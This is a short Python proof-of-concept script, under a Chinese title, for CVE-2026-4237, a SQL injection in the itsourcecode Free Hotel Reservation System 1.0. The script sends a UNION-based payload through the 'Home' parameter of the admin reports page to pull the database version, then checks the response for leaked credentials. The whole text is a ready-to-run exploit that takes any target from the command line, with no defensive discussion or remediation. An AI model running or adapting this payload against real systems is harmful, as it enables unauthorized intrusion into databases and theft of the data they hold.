CVE-2026-4237 itsourcecode Free Hotel Reservation System 1.0 SQL注入漏洞

import requests import sys # CVE-2026-4237 SQL Injection PoC # Target: itsourcecode Free Hotel Reservation System 1.0 # Vulnerability: SQL Injection in /hotel/admin/mod_reports/index.php via Home parameter def exploit_sqli(target_url): """ SQL Injection exploitation using UNION-based injection """ # Target endpoint endpoint = f"{target_url}/hotel/admin/mod_reports/index.php" # Payload for database version enumeration payload = "Home=1' UNION SELECT 1,2,version(),4,5,6,7,8,9,10-- -" print(f"[*] Target: {target_url}") print(f"[*] Exploiting SQL Injection in {endpoint}") try: # Send malicious request params = {"Home": "1' UNION SELECT 1,2,@@version,4,5,6,7,8,9,10-- -"} response = requests.get(endpoint, params=params, timeout=10) print(f"[+] Request sent to {endpoint}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print("[+] Response received - check for database information in response") # Extract potential sensitive data from response if 'root' in response.text or 'localhost' in response.text: print("[!] Potential database credentials or info leaked!") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] exploit_sqli(target) else: print("Usage: python cve-2026-4237.py http://target.com")